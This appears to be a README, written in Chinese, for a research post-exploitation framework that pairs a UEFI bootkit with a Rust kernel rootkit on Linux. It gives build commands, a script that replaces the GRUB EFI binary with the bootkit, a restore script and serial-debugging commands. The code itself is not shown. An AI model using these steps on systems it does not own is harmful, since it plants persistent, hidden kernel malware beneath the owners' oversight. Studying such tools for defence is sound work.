
Silverseal 是一个 Linux 后渗透框架,展示了 UEFI bootkit 在现代 Linux 系统上持久且隐蔽地加载基于 Rust 的内核模块 rootkit 的能力。该项目包括:

安装 Rust-for-Linux 外部模块构建所需的软件包,如有需要则安装 rustup,将默认工具链切换为 stable,添加 rust-src,安装 bindgen-cli,并在当前运行的内核未暴露 CONFIG_RUST=y 时发出警告。
./scripts/install_dependencies.sh
[!IMPORTANT]
如果你使用的是 WSL,请确保设置 WSL 2 并安装 Ubuntu。此脚本会构建一个启用了 Rust 的自定义 WSL2 内核,准备一个模块 VHDX,并可选地写入一条 Windows .wslconfig 条目,将 WSL 指向生成的内核。
./scripts/wsl_setup.sh
该脚本会自动安装 Ubuntu 构建依赖,克隆匹配的 Microsoft WSL2 内核源码,启用 CONFIG_RUST,使用 LLVM 构建内核,并为外部模块构建配置 /lib/modules/<release>/build。
查看支持的选项:
./scripts/wsl_setup.sh --help
要针对你所需的目标内核构建 rootkit,你需要在构建机器(WSL 或原生 Linux 机器)上运行以下脚本:
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
此流程会安装匹配的 linux-headers-<kernel> 和 linux-lib-rust-<kernel> 软件包,安装 generic-kernel 流程所使用的 Ubuntu 打包的 Rust 1.82 工具链,修复 /usr/src/linux-headers-<kernel>/rust(如果该符号链接已损坏),并打印之后要使用的确切 make 命令。
使用内核构建系统构建 rootkit。不要使用 Cargo 进行真正的模块构建。
cd Silverseal/silverseal-rootkit
make
构建完成后,模块产物会被暂存到 silverseal-rootkit/target/ 中。
从 WSL 为 Ubuntu generic 目标内核构建 rootkit:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
模块 Makefile 会自动检测 /usr/src/linux-headers-* 目标,并通过 Kbuild 的 Rust 标志变量传递 Rust 兼容性 cfg,以便较新的 Ubuntu module! 元数据模式使用 authors 而不是较旧的 author 键。
构建完成后,验证目标内核版本已正确嵌入:
modinfo target/silverseal_rootkit.ko | grep vermagic
bootkit 构建需要 PATH 中有 nasm。该 crate 已配置为以 x86_64-unknown-uefi 为目标,构建脚本会将 asm/x64/lkm_loader.asm 和 asm/x64/lkm_stager.asm 汇编为嵌入 EFI 镜像的扁平二进制 blob。
cd Silverseal/silverseal-bootkit
cargo build --release
生成的 EFI 二进制文件写入到:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
部署脚本目前期望仓库根目录下有一个名为 silverseal-bootkit.efi 的文件。构建 bootkit 后,将 EFI 产物复制到那里,然后从仓库根目录运行安装脚本。
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
该脚本会对 EFI 分区执行直接替换:
/boot/efi/EFI/ubuntu/grubx64.efi 移动到 /boot/efi/EFI/ubuntu/grubx64.efi.original./silverseal-bootkit.efi 移动到 /boot/efi/EFI/ubuntu/grubx64.efi要移除 Silverseal,请从 .original 备份恢复原始 GRUB 二进制文件:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
常见端口:/dev/ttyS0 (COM1)、/dev/ttyS1 (COM2)
minicom 监控串口输出:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)你也可以使用辅助脚本,它会以 115200 波特率持续将 PuTTY 重新连接到 \\.\pipe\com_1:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1